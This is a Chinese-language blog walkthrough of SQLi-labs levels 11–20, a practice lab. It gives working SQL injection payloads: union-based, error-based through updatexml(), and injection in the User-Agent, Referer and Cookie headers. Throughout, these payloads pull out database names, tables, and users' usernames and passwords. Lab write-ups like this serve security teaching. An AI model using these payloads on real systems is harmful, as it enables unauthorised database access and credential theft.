11-20关都为post传递,这里我们可以用burrp_suit来进行抓包和改包,也可以用hackbar来进行注入。
##11关单引号闭合的联合注入
1.先使用1' or 1=1#
来找到他的闭合方式。
登录成功单引号闭合。
2.-1' order by 3#
找有多少个字段。
报错,换成2不报错说明有两个字段。
3.你就可以愉快的使用联合注入了!我只把语句写一下,具体详情请见我另一篇博客。
(1).爆数据库名
-1' union select 1,database()#
(2).爆表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
(3).爆字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
(4).爆出所有用户
-1' union select (select group_concat(username) from users), (select group_concat(password) from users)#
##12关")
闭合方式
注入流程参考11关。
##13关')
型闭合方式
这一关无显位。所以用时间延迟型注入法。
##14关 双引号闭合方式
这关无回显,时间延迟型注入。
15关单引号闭合16关双引号加括号闭合都用时间延迟型注入。
##17关
这一关将引入新内容。当你发现username被过滤了你该咋办。
这个自定义函数把username过滤。
substr()函数截取字符串15个字符。
:补充
截取字符串的三个函数;
三大法宝:mid(),substr(),left()
mid()函数;
此函数为截取字符串一部分。MID(column_name,start,[length])
参数 描述column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID () 函数返回剩余文本。
例如;
mid(database(),1,1);
截取数据库名的第一个字母;
substr同上;
详情https://zhuanlan.zhihu.com/p/40286215
get_magic_quotes_gpc()函数php的内置函数判断环境变量magic_quotes_gpc是否打开,如果没打开说明php默认转义特殊字符的函数未运行,手动转义特殊字符。stripslashes()函数。
这时候用户账号被过滤,但是密码并没有被过滤。所以可以考虑从password入手,
1.首先输入正确的用户名。使用updatexml()函数过滤。
updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数,
(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
原文链接:https://blog.youkuaiyun.com/weixin_43733035/article/details/86561654
开始注入;
1.爆数据库名
a' or updatexml(1,concat('#',(select database())),1)#
2.爆表名
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
3.爆字段名
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
错误: 查询数据时,并不能直接用简单的select concat(username),这样会引起报错,
在这里插入图片描述
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询
4.爆出所有用户和密码
' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a)),1)#
通过改变0位置的数值可以逐行查看到。每一个用户。
解释一下代码,’ or updatexml(1,concat(’#’,(注入语句)),1)#
两个1都是凑字段的。
##18关
观察题目,基于Uagent的头部注入。我们来看一下页面。当你输入除了正确的账号密码之外的任何语句它都只会显示。
这个页面,这是你需要意识到,账号和密码都进行了过滤。我们用前几关的办法无法注入。看一下题目名字。基于uagent的头部注入。我们输一下正确的账号和密码。这时候会出现。
这个页面,你看到它显示了
你应该想到,这里可能是一个注入点。使用burp suite抓一下包,修改头部中的 user-agent的值。
抓到包之后修改下面图片对应的。
当我试探性的输入注入语句时,出来了这个东西,发现它确实是一个注入点,我们现在并不清楚我们要注入的语句是什么类型的,闭合方式是什么样的。
不过我现在学的sql语句一共有,查询语句,增加语句,联合语句,创建语句,删除语句,修改语句。我们要注入的语句应该不会脱离这几种,我们分析一下,它是http头部中的agent,agent记录了你登录时使用的浏览器版本。和它有关的语句,查询,删除,修改,的可能性都很小。剩增加,联合,创建,可能性最大。,,,,,,,,经过很长时间的尝试你能找到它的语句原型(我自己在第一次做这关是看了源码)。我认为分析能力对于以后渗透有很大的用处。好了,看我们要注入的语句
显然它是一个增加语句,我们使用updatexml()函数来注入,
语句原型: ’ or updatexml(1,concat(’#’,(clause),’#’),1),1,1)#
clase为想要查询的子句;
1.爆数据库;
' or updatexml(1,concat('#',(select database()),'#'),1),1,1)#
2.爆表名
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'#'),1),1,1)#
3.爆字段名
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'#'),1),1,1)#
4.爆用户
' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a),'#'),1),1,1)#
通过修改limit后面的数值,来查询每个用户的账号和密码。
##19关,
看图片题目应该和18关用差不多的方法。经过验证19关是修改http头里面的referer。
方法基本和18关一样,但有一点19关我们要注入的语句需要减少一个凑字段的1.
注入语句原型为:' or updatexml(1,concat('#',(clause),'#'),1),1)#
##20关,
从题目看,注入点和cookie有关,很可能方法和18关差不多,同18关一样不输入正确的用户名和密码。啥也没有。输入正确的用户名和密码后页面变为,
给你这么多可能为注入点的东西,看着好像都行,不过既然题目都给你和cookie有关了。经过尝试cookie确实可以注入,方法见18关。' or updatexml(1,concat('#',(select database()),'#'),1)#
由于20关注入语句为查询语句,使用联合注入也可以,语句为:
' union select 1,2,database() #
感谢大佬的博客https://blog.youkuaiyun.com/jinhezhai/article/details/103924833